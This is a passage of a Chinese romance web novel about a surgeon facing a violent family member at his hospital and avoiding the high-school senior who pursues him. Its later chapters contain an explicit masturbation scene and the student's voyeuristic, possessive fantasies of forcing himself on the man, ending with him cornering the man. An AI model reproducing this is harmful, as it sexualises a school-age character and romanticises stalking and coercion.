许酌这才说,“那就走法律程序吧。” 一旁的岑嘉祯这才松了口气。 他是真怕温柔的许老师会直接原谅这个大傻逼! 走法律程序就爽很多了,寇英朗在医院聚众闹事又主动打人, 怎么也要关进派出所拘留几天的。 可寇英朗却不干了,他怒拍桌子, “什么意思啊你!你把我老婆治死了我还没找你赔钱呢!现在你他妈还让警察抓我是吧!” “安静!”一名做笔录的警察也拍了下桌子。 寇英朗安静不了一点, 跟警察吼,“安静什么安静!我只是打人你们就这么凶我!他们杀人你们怎么不管!!” 他越说越起劲, “凭什么!我们老百姓的命就不是命是吧!” “我不管!你们赶紧让他给我赔钱!顺便把我老婆做手术的钱也都给我还回来!那他妈都是老子的钱!我可没说要给她用!” 归根结底就是来讹钱的。 医院里这种事情已经多到见怪不怪了。 许酌还是那句话,“医院只会根据法院的判决书来给于赔款,如果你想要赔偿的话, 只能先向法院提起诉讼。” 后面都是寇英朗单方面的扯皮了。 许酌没再继续陪着,配合完警察做笔录就离开会议室了。 往办公室走的时候,崔玉知先跟许酌说,“那你等下直接回去休息吧,今天的班我替你值了。” 许酌:“那怎么行,老师你自己还需要多休息呢。” 崔玉知看着他,“没事,反正我今天也要给那帮笨学生改论文的,都是熬夜,在家熬和在医院熬是一样的。” 笨学生 一旁的岑嘉祯疑似受到了重创。 但他没敢说话。 许酌还要说什么,崔玉知就加重语气说,“许医生,这是命令。” 许酌抿抿唇,“那就麻烦老师了。” 换好衣服,许酌带着丞弋回家了。 路上的时候,谢旌给许酌打来电话。 谢旌的名字从中控屏幕跳出来的那一刻,许酌能明显感受到副驾驶的那边骤然蔓延过来的低气压。 但他还是接了。 接通还没来得及说话,谢旌惊慌的声音就先从音箱里传出来,“许酌你没事吧!我听说有人来闹事了!” “我没事。”许酌说,“我现在已经在回家的路上了。” “我过来看看你!”谢旌急声说。 副驾驶的低气压直接降到了冰点。 许酌无奈抿唇,随后才拒绝说,“不用了,我等下到家就准备休息了。” “可是”谢旌说着忽然顿住,过了好几秒才继续,“那你等下到家了跟我视频一下可以么?我想看看你。” “谢旌。”许酌又一次说,“我真的没事。” 电话那边安静。 这次的安静延续了很久。 久到许酌都以为信号中断了,才听谢旌的声音重新响起,“那你今天好好休息,我们明天见。” 直到挂了电话,身旁的低气压都还没消减下去。 许酌担心丞弋又会像上次一样发疯。 但没有。 丞弋一直很安静。 到家换好鞋,他甚至还乖声说,“许酌哥,你等下再洗澡好不好,先把脸冷敷一下。” 许酌也没准备先洗澡,听见丞弋这样说,他点头说,“嗯,我是准备先冷敷一下的,你别管我了,先去复习吧。” 丞弋拉住许酌的手腕,“许酌哥,我想帮你。” 拒绝的话就在嘴边,许酌却一个字也说不出口。 因为丞弋眼里蕴满了心疼堆砌起来的祈求。 许酌抿抿唇,松口说,“那你去拿冰袋吧。” 丞弋去拿冰袋。 许酌脱下外套,先去餐边柜接了杯水喝,然后才往沙发走。 刚坐进沙发里,许酌心底就猝不及防涌上一阵难以言说的情绪。 这些情绪太重了,许酌有些难以承受,后仰着靠进沙发里,试图让柔软的靠垫来帮自己一起承担。 这时,脸颊覆压下来一阵微凉的触感。 许酌掀开眼皮,先看见一片暖色的光。 随后才看到站在他身后的丞弋。 丞弋在暖光里,手中拿着灌好冰的冰敷袋。 他一边小心地将冰敷袋贴在他的脸颊上,一边放轻声音问他,“许酌哥,这样疼么?” 许酌眨了眨眼,摇头,“不疼,你不用那么小心,随意点就可以了。” 丞弋没说话了。 许酌找了个话题问他,“这两天考试怎么样?” 丞弋说,“没什么难度,都会做。” 许酌笑起来,“那我们小弋真厉害。” 丞弋看着他脸上的笑,“许酌哥,不要笑了。” 许酌微怔。 丞弋直接抬手覆盖住他的眼睛,“好好休息吧,什么也别想了。” 眼前的光被一只大手尽数遮挡,视线开始模糊起来。 上扬的唇线逐渐抿直,许酌没有拨开丞弋的手,也没再说话。 丞弋也不开口吵他,安静给他敷脸。 没人说话,空气都静谧了下来。 许酌耳边只听得见丞弋移动冰敷袋的声音。 似是怕吵到他,移动冰敷袋的声音都被丞弋放得很轻。 许酌在细微的响动中慢慢放松自己。 不知过了多久,移动冰袋的声音也没有了。 万籁俱寂之下,许酌能更加清晰地感受到覆盖在眼睛上的那只手有多少温度传递过来。 许酌并不觉得冷,可这一刻,他还是觉得无比安心。 在一个比自己小了十岁的弟弟身上找安心感,许酌顿时觉得自己越活越回去了。 在心里默叹一声,他拉开丞弋的手,坐起身说,“可以了,谢谢小弋。” 丞弋没说话,绕过沙发往许酌身边走。 许酌从沙发里起身,拿过丞弋手里的冰敷袋,“好了,你快抓紧时间去复习吧,我去洗澡了。” 说着要走,丞弋拉住他的手腕,喊他,“许酌哥。” 许酌佯装轻松,“嗯?怎么了?” 丞弋有很多想说,想为上次的冲动道歉,还想跟他说一下他有想考的大学了。 但暖色柔光下的许酌满眼疲惫,他就什么都说不出口了,只说,“许酌哥,晚上我陪你一起睡吧。” 许酌:。 许酌瞬间就不疲惫了,戳着丞弋的额头把他往后推,“这位高中生,你很闲的话可以去多做两套卷子冷静一下,而不是在这里骚扰无助中年人。” 丞弋被推得后退一步,然后又走回来,目的性明确地抱住许酌。 他没有抱很紧。 许酌也没有推开他。 “我没有骚扰许酌哥。”丞弋轻轻拢了拢许酌的后脑勺,“我只是想让许酌哥好好休息。” 许酌没说话。 “许酌哥不让我陪的话,那你害怕了记得喊我。” 许酌听见他说,“我今晚就在客厅睡,许酌哥什么时候喊我我都听得见。” 回到卧室洗漱好躺下,许酌对着朦胧的天花板发呆。 他脑子里有很多画面,关于宋雪依的,关于手术的,关于寇英朗打人时的凶恶,关于丞弋不计后果的冲动,还有 许酌闭上眼睛,没让自己再往下想。 只慢慢蜷缩起身体,用被子紧紧裹住自己,试图做个胆小鬼。 他不太想睡觉,但巨大的心累感还是拖着他往梦境里沉。 许酌梦到了真正的医闹画面。 画面里,一个面容温和的中年医生一脸遗憾说,“对不起,我们尽力了。” 医生对面的男人面如死灰,“怎么就尽力?人没救回来你们怎么就尽力了?” 中年医生语气平和,“真的抱歉,孩子的心脏已经停跳太久了,我们无能为力了。” “什么叫无能为力!你们是医生!你们是最好的心脏医院!凭什么无能为力!凭什么不救我儿子!” “要钱是吧!说吧!你们说要多少钱才会救活我儿子!我砸锅卖铁给你们凑好不好!啊!” 中年医生轻叹,“这位家长您先冷静一点,这不是钱的问题,是您儿子真的已经过了最佳抢救时间,我们能试的都试了。” 说着,他缓缓躬了躬身,“真的很抱歉。” “我不要听抱歉!我不要听抱歉!我已经把我儿子送到医院了!我已经把我儿子送到你们手上了!你们凭什么不救他!凭什么!凭什么啊啊啊啊!!!” 变故就发生在一瞬间。 家长失控发疯,肆意在抢救室乱打乱砸。 抢救室还有其它病人,医生护士一拥而上,试图劝慰住这位年轻丧子的父亲。 而后不知道哪个护士尖叫了一声。 抢救室瞬间安静下来。 等大家顺着那位护士的视线看过去时, 只见那位面容温和的医生胸口已经直直插了一把银色的止血钳。 中年医生似乎也没反应过来这把钳子是什么时候戳进来的,茫然眨了眨眼,而后才捂着冒血的位置缓缓倒下去了。 抢救室爆发出一阵刺耳的尖叫声。 许酌什么都听不见,他只是慢慢走向那个倒在血泊里的医生。 而后蹲下身,用虚浮的手去捂住汩汩冒血的心口。 他想喊人,可巨大的悲伤全都梗在喉咙,让他一个音节也发不出来。 直到眼前的人影开始一点点虚化,飘散,最后消失。 许酌才竭力大喊:“爸!” 他想抓住什么,猛地坐起来时才发现眼前除了一片柔黄的光晕,什么都没有。 四下静谧,只有他急促的呼吸和剧烈震动的心跳声。 忽地,门板被人用力推开。 许酌仓惶抬眼,看到门外疾速跑进来一个身影。 他还没看清那个身影的脸,只清楚看到了那个身影带来的暖光迅速冲破了他周围的黑暗 然后。 他整个人也被揽进一个暖得无法形容的怀抱里。 “许酌哥别怕,我在。” “我在的。” 是丞弋 许酌慢慢闭上眼睛,人也无意识往他怀里埋了埋。 后来丞弋没再说话,只是一下接一下地轻拍着许酌的后背。 无言的轻抚和陪伴勾勒成一张温柔的网,许酌在这张网里慢慢放缓呼吸,忐忑的心也逐渐平寂下去。 时间一秒一秒地过去。 不知道过了多久,许酌心底忽然跳出个催促的念头。 该推开丞弋了。 不该继续在丞弋怀里沉沦了。 这样是不对的。 也是不可以的。 可许酌没有动。 丞弋把他抱得很紧,环抱住他的结实手臂也足以承托住他所有心慌的同时,还能让他清楚感受到少年身上流淌过来的温度。 那温度不算过分灼人,却犹如千万只横冲直闯的蝴蝶一般,在他心口留下经久不停的震颤。 第34章 第 34 章 拜托!你可是许酌哎!…… 34 医院每当有病人死亡后, 都会开展死亡病例讨论会。 同时,医纠办也会根据医闹来对病人的治疗过程展开调查。 因为许酌暂时没有明显的错处。 所以调查期间无需停手术。 配合完医纠办的问话后,许酌回了办公室。 刚一走进办公室, 里面几个人就全都围了上来。 “怎么样?医纠办怎么说?”林祈最先挤过来问。 许酌给他一个安心的眼神,“暂时没说什么, 只是说我越级做手术不符合流程规定。” “那他管呢!”林祈第一个不服,“崔主任都让你上台了, 说明我们是有实力的!” 许酌回到他的办公桌前拿起杯子喝了口水,“别这么说,他们也是怕病人脱不了机, 下不了手术台, 到时候处理起来会更麻烦。” 林祈啧了一声,没说什么了。 周黎安今天到医院才听说昨天的事情,懊悔的不行。 看到许酌脸上还有未消的红痕,他一向温润的眉眼也控制不住地冷冽了起来,“那打人的呢?你就这么白挨一巴掌?” 许酌微微一笑,“怎么是白挨呢,寇英朗不是被警方带走拘留了么。” 民事拘留不痛不痒,周黎安对这个结果非常不满意。 但他也知道, 这已经是最好的处理结果了。 真要以暴制暴帮许酌讨回来的话,反而会让许酌成众矢之的。 谢旌一直沉着脸没说话。 但许酌还是放下水杯主动看向他, “谢旌, 我真的没事,你别做多余的事, 可以么?” 谢旌和他对视,半晌拽着脸移开视线,“我一个遵纪守法的三好公民能做什么!” 许酌点头嗯了声, “我觉得谢总也不是个冲动的人。” 谢旌哼了一声。 许酌笑了笑,看着其他人,“好了,都去忙吧,我也该去查房了。” 还是先查监护室。 有赖于谢升华平时经常锻炼的原因,所以他即使年近六十了,身体各方面的素质依然很硬朗。 身体底子好,就更有利他恢复。 许酌简单看完他的各项检查单及病程数据,点头跟管床医生说,“差不多了,下午林医生你再给谢董抽个血气吧,没问题的话就可以拔管转特护病房了。” 林医生点头,“好。” 从监护室出来,许酌又去了普通病房。 普通病房的人大多都围观了昨晚那场闹剧,有人担心问宋雪依是怎么死的。 有人直接甩脸色说不让许酌给他做检查。 岑嘉祯刚想为许酌辩解,就见许酌已经平静点头了,“好的大爷,我等下让其他医生过来给您做检查,您先别激动,您今天的血压有点高。” 大爷扭身不搭理他。 旁边的床位是一位奶奶。 许酌看了奶奶一眼。 奶奶怕他走,赶紧朝他招手,“孩子快来,奶奶愿意让你检查。” 许酌这才走过去。 刚走到床边,奶奶就先笑呵呵拉过许酌的手,握在手里轻轻拍了拍,“孩子,别搭理他,奶奶相信你,你是个好医生。” 许酌心里得到了一丝安慰,“谢谢奶奶。” 查房结束,许酌去了门诊。 因为工作日没时间来看病的病人全都汇聚在双休日这两天了。 所以周六的门诊也是格外繁忙的。 一上午门诊结束,许酌口都渴死了。 岑嘉祯说要去给他买杯咖啡,许酌没让他去,而是说,“走吧,直接去食堂吃饭吧。” 岑嘉祯觉得许酌脸上的表情有些严肃,没敢多说什么,乖乖跟着许酌走出门诊室。 刚走出没多久,许酌脚步忽然一顿。 岑嘉祯也跟着停下,然后顺着他的视线往窗外看。 就见门诊大楼走进来一个熟悉的身影。 毫无疑问,是来给许老师送饭的丞弋。 岑嘉祯没敢再在心里吐槽丞弋是死绿茶。 因为丞弋昨天那个样子真的太吓人了。 如果说许老师是温柔的明月。 那丞弋简直就是一条盘旋在明月身边的阴森毒蛇。 有人敢伤害那轮明月,他就敢凶相毕露地亮出他的毒牙。 但他的方式也太吓人了。 居然敢朝着人的大动脉下手。 岑嘉祯光是想想昨天他那一笔下去的后果,就顿时汗毛直立。 怪不得现在大家都说,惹谁都不要惹高中生。 这话简直太对了。 高中生简直不要命。 岑嘉祯不着痕迹地搓了搓胳膊上的鸡皮疙瘩,张口就要跟许酌说他自己去食堂好了。 话还没开口,就听许酌说,“小岑,你回诊室等一会,等小弋上来你就跟他说我上手术了。” 岑嘉祯没明白,“啊?” 许酌看着他。 岑嘉祯又点头,“哦,好!” 许酌:“去吧,我在食堂等你。” 三分钟后,丞弋到诊室门口。 看见诊室里只有岑嘉祯一个人,他问,“许酌哥呢?” 问话的声音冰冷,又充满了高高在上的蔑视感。 不知道的还以为他在问路边的狗呢。 岑嘉祯真不想理他,但想着许老师的嘱托,他还是拽着声音说,“上手术了。” 丞弋眼底更冷了,“他今天没手术。” 岑嘉祯假模假式收拾好桌上的东西,起身说,“紧急手术不行啊?你当医院上班那么自由呢!” 丞弋盯着他,一双漆黑的眼睛里阴暗极了。 岑嘉祯被他盯得心底发寒,但还是硬着头皮往前走,“麻烦让让,我要关门了!” 丞弋后退一步,在他关门的时候盯着他的后脑勺问,“他在做什么手术?几个小时下?” 岑嘉祯没好气,“瓣膜置换!主动脉置换!五六七八个小时吧!这谁说得准!” 丞弋垂眼。 安静半晌后,他直接转身走了。 岑嘉祯忽然喊住他,“哎!” 丞弋回头看他,神色不耐烦,“说。” 岑嘉祯看着他手里的保温袋,“你的饭不留给许老师啊!” 丞弋告诉他,“下午给他送新做的。” 说完转身就走。 岑嘉祯顿时有些不知道该说什么了。 虽然这个丞弋又绿茶又心狠。 但该说不说的,他对许老师好像确实挺上心的。 别的不说,只说亲手做饭、坚持送饭这一块,就没人能赢过他。 毕竟医院这几个追许老师的人,可没谁给许老师亲手做过一顿饭。 当然,这其中还包括了他自己。 岑嘉祯顿时有些自惭形秽。 但转念想到自己从一开始也只打算把许老师如明月一般珍藏在心里,他又立即释然了。 今天的午饭只有岑嘉祯和许酌两个人。 谢升华的恢复比预想的好,已经提前转去特护病房了,谢旌在陪着他。 周黎安在急诊忙得不可开交,都没时间吃饭。 岑嘉祯难得和许酌单独吃饭,整个人都紧张坏了。 好不容易吃完饭,许酌又提议让他陪他一起去买咖啡。 岑嘉祯这才回过味来,许老师这是有话要跟他说。 想到许老师刚才故意支开了丞弋,岑嘉祯心里顿时砰砰直跳。 难不成许老师昨天看自己神勇无比,所以对自己另眼相看了? 岑嘉祯越想越有可能,不自觉挺直了脊背,脸上也荡漾着洋洋得意的表情。 但等许酌买完咖啡,两人一起往办公室走的时候,他就得意不下去了。 因为许酌忽然说,“小岑,学校的老师有教过你们怎么正确面对医闹么?” 岑嘉祯眨了眨眼,迟钝地反应过来许老师这哪是对他芳心暗许,分明是准备秋后算账。 闹了个大乌龙,岑嘉祯羞愧低下头,讪讪说,“嗯,有说过。” 许酌回头看他,“站好,我没有要凶你的意思。” 岑嘉祯听话站好。 许酌这才继续说,“你昨天不该那么跟家属呛声的,这样只会加剧家属的情绪。” 岑嘉祯扁扁嘴,“那医生就该在警察来之前任由家属欺负么?” 许酌停下脚步,在窗边的光线里仰头去看岑嘉祯,“不是任由家属欺负,是避免事态继续恶化下去。” 岑嘉祯没说话,但神色明显不认同。 许酌抿抿唇,颇有些语重心长,“小岑,你还没见过真正的医闹,不知道人在情绪爆发的时候会做出什么失智的行为,但你要永远记住一点。” 岑嘉祯看着许酌。 许酌说,“退一步绝对不是在助长家属的威风,而是对自己的保护,知道么?” 岑嘉祯还想说什么,但张了张嘴,又很快闭上了。 他忽然想起一件事。 一件久到快要被人忘记的事。 在其它医院都还只是靠保卫科来负责安保的时候,云大第一附属医院是云城第一个创办警医联动室的医院。 因为这里曾经失去了一个被人奉为传奇的医学天才,许溥心。 许溥心是谁? 是许老师的爸爸,也是心外科上一任科主任。 所以没人比许老师更清楚医闹的后果有多惨痛了。 他在用自己的亲身经历来教人不要重蹈覆辙。 岑嘉祯顿时心口发酸,“许老师,对不起,我” 许酌一看他这个表情就知道他想到了什么,赶紧抬手,“别煽情啊,我不喜欢那样的氛围,你好好记住就好,记住没有任何委屈会比你好好活着更重要。” 岑嘉祯吸了吸鼻子,郑重点头,“我记住了许老师!” 顿了顿,他又补充,“谢谢你!” 许酌笑,“好了,去准备下班回学校吧。” 丞弋晚上来送饭许酌也没见。 彼时林祈刚好来找许酌去吃饭,许酌就让林祈帮忙把丞弋糊弄走了。 等人走了之后,许酌才从办公室另一扇门进来。 林祈盯着做贼一样的许酌,“你不对劲。” 许酌不置可否,淡然说,“走吧,去吃饭吧。” 林祈跟上他,“你不要跟我说你躲着那小弟弟只是为了陪我吃晚饭。” 许酌顺势点头,“虽然说出来你可能不信,但确实是的。” “这话你自己信么?” “信。” 林祈不说话了,眯眼盯着许酌看。 从进电梯,盯到出电梯。 直盯到他自己眼睛发酸了,他才眨眨眼睛说,“许酌,你该不会是喜欢那小弟弟了吧?” 许酌一直是个很坦荡的人,不管面对谁的追求,他都不会选择逃避。 现在躲躲藏藏的,显然不是他的性格。 那如果不是躲避追求者,就只能是躲避他自己了。 但许酌没回答。 不否认就是默认。 林祈嘶了一声,有些心里不平衡,“不会吧?真的啊?” 许酌还是沉默。 林祈更不平衡,“他们丞家上辈子烧了什么高香啊这是!回回这种好事儿都轮到他们姓丞的身上!” 说话间两人已经到了食堂,许酌平静问他,“吃什么?” 林祈哼,“吃饺子!不要饺子只要醋!” 许酌看他,“几岁了还闹。” 林祈只好改口,“吃猪脚饭!多加个猪脚!” 许酌给他点猪脚饭,又给自己点了份肉沫土豆盖浇饭。 拿到饭,两人随便找了个位置坐。 刚一坐下,林祈就又开始喋喋不休,“所以你是不会跟他谈恋爱的对吧?” 许酌终于回答他,“不会。” 听到这个回答,林祈这才觉得平衡了很多。 虽然他对许酌早已没有那份心思了。 但由于自己当年的失败,就导致他这几年看成功追到人的丞敛格外不顺眼。 听说许酌和丞敛离婚当晚,林祈都想放烟花庆祝了。 但奈何云城禁燃。 不过即便如此,他还是开心到差点失眠。 后面听周黎安余凯睿他们开始追许酌,他也只是抱着旁观者的心态看热闹。 他就喜欢有人孜孜不倦追许酌,但又被许酌拒绝的模样。 因为如果只有你一个人被拒绝的时候,你就会觉得自己好悲惨好没用。 但等大家都被拒绝了,那这份惨淡和没用就被大家平分了。 这个时候再回头看自己,也就没那么惨了。 但转念想到什么,林祈又忍不住起哄说,“其实也不用拒绝地那么干脆吧,现在不都流行跟弟弟谈恋爱么,你也谈个玩玩呗。” 倒不是多想成全丞弋。 他只是单纯想看周黎安和谢旌破防的表情。 许酌哪会看不出他的小心思,抬眼安静看他。 林祈识趣闭嘴,“好了好了,错了错了。” 但安静两秒过后,他还是忍不住好奇,“但说真的,你不会是还想着丞敛呢吧?” “没有。”许酌说。 林祈纳闷,“那干嘛不跟弟弟试试啊?虽然我很不爽有人能追到你,但如果你真的喜欢,我也不是不可以大方成全的。” 这是真话,不是单纯想看谁落败。 毕竟他现在也算是许酌的好朋友。 作为好朋友,他总要为许酌考虑一下的。 许酌听他没再开玩笑,也认真说,“没必要,喜欢不代表合适,不合适就没必要开始。” 更何况,他是个对待感情很真诚的人。 抱着试试的心态去开始一段感情,不管是对他自己,还是对别人,都太负责了。 林祈不懂,“这又什么不合适的?虽然弟弟才高三,但他马上就要高考了啊,那高考一结束他不就是青春男大了么。” “你知道现在但凡有点姿色的男大有多吃香么!” 说着,他还无比自恋地拉踩一波,“虽然弟弟的颜值跟我比确实差了那么一点点,但也是非常有潜力的。” 许酌没有反驳他最后一句话,只说,“所以我们更不合适。” 林祈看着许酌,“哪里就更不合适了啊?你别跟我说是年龄啊!” “拜托!你可是许酌哎!你配谁都绰绰有余好吧!” 许酌深吸一口气,想说不只是年龄,还有阅历、认知、经历很多很多种原因。 但话到了嘴边他又不想说了,总觉得解释起来太麻烦了。 所以他最后只说,“吃你的饭吧。” 第35章 第 35 章 “许酌哥,你在干什么?…… 35 许酌存了心想躲丞弋, 所以最近连家都不怎么回了。 就算是要回家拿换洗衣服,他也特意挑在丞弋上学期间。 为了不让丞弋察觉,也为了避免他做出什么偏激的事情, 微信上丞弋发过来的消息他还是有好好回的。 这天,他又掐着丞弋去上学的时间准备回趟家拿换洗衣服。 到家推开门, 家里空荡干净,没有人。 许酌轻松换鞋, 然后回卧室。 天天泡在医院就等于是每天都是二十四小时制上班。 这样连轴转了半个多月的后果就是特别累。 而他一旦过度劳累,就会导致身体格外空虚。 所以他今天回来拿换洗衣服是次要的。 他主要是想解决一下生理性的饥渴。 衣帽间最后一层抽屉整齐摆放着他用下来还不错的几个玩具。 他过去打开,目光在里面扫视一圈, 拿起最后一个。 这个他买很久了, 但也只用了一次。 用过后的次感觉还不错。 拟态真实不说,而且全自动。 中间还会随着时间的长短逐渐加速、升温。 甚至最后爆发的时候都带着性感的冲击力。 算是整个抽屉里最好用的一款了。 许酌拿着它去了浴室。 他先到淋浴间简单洗了个澡,然后熟练开拓。 等差不多了,他才拿上玩具躺进浴缸里。 浴缸里早已放好了水。 恒温水流像极了宽阔的拥抱。 许酌躺进去的一瞬间就被全方位包裹住了。 他舒服地喟叹了一声。 之后才慢慢将玩具逆着水流往里送。 热气氤氲的白雾中,许酌拧着眉头,后仰着脖颈。 他莹白如绸缎的皮肤早已被水汽蒸腾出水粉色。 湿成一簇簇的睫毛随着手上的推进而簌簌颤抖起来。 轻动的水流触碰着他的大腿,引出一片敏感的酥痒。 玉白的贝齿紧咬着水润的下唇。 许酌大概是想克制着不发出任何声音,但最后还是没忍住从喉咙间溢出一点细细的碎哼。 极度的空虚被一点点填满。 身体里的焦热也沸腾着狂欢起来。 但他并没急着要开始, 只是轻轻磨动着。 太久没用过玩具了。 他多少有点不太习惯。 要给身体一些适应过程,不然会受伤的。 误打误撞磨到某一点时, 许酌好看的眼尾不自觉溢出一点透明的泪。 那点泪缀在他嫣红色的眼尾, 要落不落地颤颤轻抖着。 与此同时,身体里的渴望也叫嚣得更加厉害了。 许酌也觉得差不多了, 缓缓深吸了一口气,这才用水中那根白皙修长的指尖轻轻拨动开关。 下一秒。 机械开始缓慢推动。 久违的感觉。 许酌没忍住颤了下身子,眼角的那颗泪也终于落下。 蒸腾的热气中, 许酌的体温逐渐升高。 那覆着薄粉的脖颈也越仰越高,仿若亟待有人来爱抚亲吻的白天鹅。 渐入佳境。 许酌愈发控制不住自己的呼吸,随着荡漾的水流一起急促起伏。 直到他整个人身上都蔓起了旖旎的红潮。 荡漾的水面才忽地往上涌动。 水花沿着浴缸哗哗落在地面的同时,黏腻的软哼也响彻在整间浴室。 直到软哼的尾音彻底消失,许酌才将勉力支撑起来的腰身缓缓落回水中时。 然后,他整个人都不想动了。 就那么仰躺在那里,半睁着水光潋滟的眸子望着虚空中的一点。 舒服是舒服的。 但到底还是差了点什么。 许酌觉得自己没有彻底得到缓解,贪心地想再来一次 丞弋开门回到家时,在门口看到许酌换下来的鞋子。 他快速略过,换了鞋子径直往许酌的卧室走。 到门口,他试探性地敲了敲门。 没有回应。 他拧动门把手,将门缓缓推开一条缝隙。 但没看到想象中许酌哥睡在床上的画面。 而是听到一阵从门缝里涌进他耳腔的急喘。 丞弋眼底一沉。 但转念想到家里除了许酌哥就没有其他人了,他又敛起眸底的寒意,然后悄无声息推门进来。 断断续续的软音是从浴室传出来的。 丞弋没有往浴室走,而是站定在原地,直直望着那面模糊不清的玻璃。 许酌哥在里面纾|解自己。 不是单纯的用手。 是用玩具。 他听到水流碰撞的声音了。 丞弋眸底沉郁下来。 为什么? 为什么现在在许酌哥身体里的不是他? 为什么许酌哥宁愿用该死的破玩具也不用他? 为什么? 为什么!? 为什么!? 阴暗的占有欲在催着丞弋不管不顾冲进浴室,把那什么该死破玩具狠狠地踩在脚下。 然后自己占有许酌哥。 玩具哪有他好。 他不仅可以把许酌哥塞得满满的。 还可以把许酌哥伺候得灵魂都颤栗起来。 可仅有的一点理智又把他钉在原地一动不动。 不可以。 他不顾许酌哥的意愿亲过他之后,许酌哥都已经躲他半个多月了。 他要是再来强的,许酌哥怕是一辈子都不会见他了。 不可以不可以。 许酌哥可以不爱他,但不能不见他。 见不到许酌哥的每一天,他都想发疯。 可□□的许酌哥就在他眼前 只要他再往前走几步。 走到浴室门前推开那扇门,他就可以把毫无防备的许酌哥尽收眼底。 甚至是吃干抹净。 许酌哥现在正在渴热的阶段,一定会很欢迎他的。 说不定,许酌哥还会泪眼朦胧地求他过去 丞弋越想越热,脚下也不受控制地往前迈着步子。 他的步子迈得很轻,仿若缓慢爬行的毒蛇一般,不敢惊动他的猎物。 “嗯”浴室里传出一声缥缈的哼声。 那哼声又柔又软,像裹着电流的棉花一样。 顺着空气飘荡进丞弋耳朵里时,丞弋再呼吸都觉得空气里都燃着火焰。 他没再往前走。 在距离浴室门两步之遥的距离里停了下来。 垂在身侧的手不断收紧,坚硬的指尖也狠狠嵌入掌心里。 丞弋用尽了所有忍耐力,才没让自己推门闯入。 只是一动不动站在那里,呼吸着被许酌点起火的空气 两次结束,许酌身体里那阵焦渴的空虚这才得到了一点微乎其微的缓解。 真的是微乎其微。 也是很奇怪。 许酌之前用玩具多少都会缓解大半。 今天两次结束了,他也只是在快感上舒服了一下。 身体更深处的空虚却是一点也没抚慰到。 许酌怀疑是最近太劳累了,所以才会一时半会填补不回来。 那明后天再回来两次好了。 反正丞弋这两天都上学的。 想通这一点,许酌顿时轻松了很多。 浴缸里的恒温水流已经不剩多少了,只堪堪遮住他平坦的小腹。 且还透着丝丝缕缕的浑浊。 许酌抬手按了下旁边的按键,将浴缸里的水排出。 然后又灌满干净的水。 他在干净的水流里躺了好一会,这才将暂停工作的玩具慢慢拿出来,放置一旁。 浴室安静,水流温热。 许酌有点犯懒,不想起来。 但想到医院还有很多事情在等着他,他还是撑着身子一点点从浴缸里坐起来了。 去淋浴间简单冲洗了一下,许酌拿着浴巾站到盥洗台前。 莹白干净的手拂过蒙着雾气的镜子,擦拭出一片足以照出人影的大小。 许酌一边擦拭身上的水珠,一边看着镜子里的自己。 在热水里泡太久了,他整个身上甚至脸颊都泛着薄薄的红。 下唇被他自己咬得有些红肿。 但不明显,不仔细看估计看不出来。 许酌擦完身上的水,穿上带进来的短袖。 这件短袖很大,能把该遮的都遮住。 不至于裸|露,又刚好够他散去身上的热粉。 穿好衣服,他没着急吹头发。 太热了,他想等下再吹。 把搁置在浴缸旁的玩具拿过来冲洗一下后,他就准备先出去了。 走到门口,抬手握住黑色把手,下按拉开,迈步时抬眼的一瞬间,许酌瞳孔骤缩,整个人都怔住了。 空气在这一刻仿佛凝固起来。 许酌简直不敢相信自己看到的。 逐渐拉开的门板缝隙里,居然站着身穿校服的丞弋。 浴室里的暖光从他身后倾洒出去,却没有落到丞弋身上。 丞弋站在阴影里,细碎的刘海下的漆黑眼睛直直凝着他。 “小小弋?”许酌喊完人的下一秒,连忙把手里的玩具藏到身后。 丞弋的目光随着他的动作往下垂。 他没看到玩具,只看到一双雪白修长的腿。 不知道是不是泡太久热水的原因,许酌哥两条腿的皮肤上都透着莹润的粉。 特别是膝盖以及干净的脚趾。 那一片片粉好像盛开的桃花,艳丽得想让人伸出舌尖舔舔,看会不会舔到甜腻的汁水。 丞弋重重滚了滚喉咙,一双向下垂的目光更显稠黑了。 许酌没看到丞弋的目光变化,只是反应过来自己身上只穿了一件T恤,下面什么都没穿。 于是他来不及多想丞弋怎么会出现在他的浴室门口,脚步往后退一步就要先把门关上。 下一秒。 ‘砰’的一声巨响毫无预兆回荡在整个浴室里。 许酌心口也跟着重重一跳。 再抬眼,他看见丞弋那只有力的大手已经摁在了门板上。 他过于用力,手背上甚至都突起了青筋。 “许酌哥,你在干什么?” 丞弋隔着门缝,紧盯着他问。 第36章 第 36 章 “你把我当玩具,玩我好…… 36 活了快三十年了, 许酌第一次遇到这么难回答的问题。 他该怎么跟丞弋一个高中生说他在自我纾||解。 又该怎么跟丞弋解释他手里的成人玩具。 不知道。 不知道干脆不回答。 许酌迎着丞弋的视线,略显心慌地反问他,“你怎么会在家?你今天不是应该在学校么?” 丞弋撑着门, 一步步走进来,“许酌哥, 是我先问你的。” 见门挡不住丞弋,许酌抬手试图阻止他, “小弋,别再往前走了。” 丞弋脚步不停,甚至直接把许酌的手攥在了手里。 许酌再想把手抽回来, 却已经抽不动了。 丞弋揉捏着他的手, 步步紧逼,“许酌哥,你在自||慰么?” 许酌一直都觉得有欲|望不是什么值得羞耻的事情。 毕竟之前跟丞敛在一起时,也经常跟丞敛直率表述自己的想法。 有时候觉得不够的时候,他还会攀着丞敛的腰让他再来一次。 但现在面对丞弋的质问,他却一个字都回答不上来。 甚至脸颊发热,觉得羞耻无比。 但他还是尽力让自己佯装平静,“大人的事, 你这个小孩子别乱问。” “可我都听见了。”丞弋说,“许酌哥刚才在叫。” 许酌羞耻地闭上眼, 脸上的粉云却不受控制地渐往耳廓、脖颈处蔓延, 像一点点晕染开的胭脂。 “小弋,你你给哥留点面子吧。” 许酌真的后悔极了, 早知道丞弋会突然回来,他今天根本不会在家弄。 “好,我不问。”丞弋说。 许酌松了一口气。 然而一口气还没松到底, 就听丞弋又开口说,“那许酌哥可不可以告诉我,你这半个月为什么躲着我?” 许酌目光闪烁,“我没有躲你,我只是最近比较忙。” 空气安静。 丞弋不说话了,只是静静用目光凝视着许酌。 许酌被他看得不自在极了,扭动了下手腕想把手挣出来。 反被丞弋握得更紧。 “许酌哥,你不乖了。”他声音黏腻,缠人的蛇一样 许酌嗅到了熟悉的危险,后退一步严肃说,“小弋,你冷静一下,不要乱来。” 丞弋走近他,“那许酌哥就回答我的问题,为什么躲着我?” 他说话间,许酌连着退了好几步。 直到后腰被抵上冷硬的盥洗台,他才被迫停下。 他一停下,丞弋也跟着停下。 然后,他就这样被堵在了盥洗台和丞弋中间。 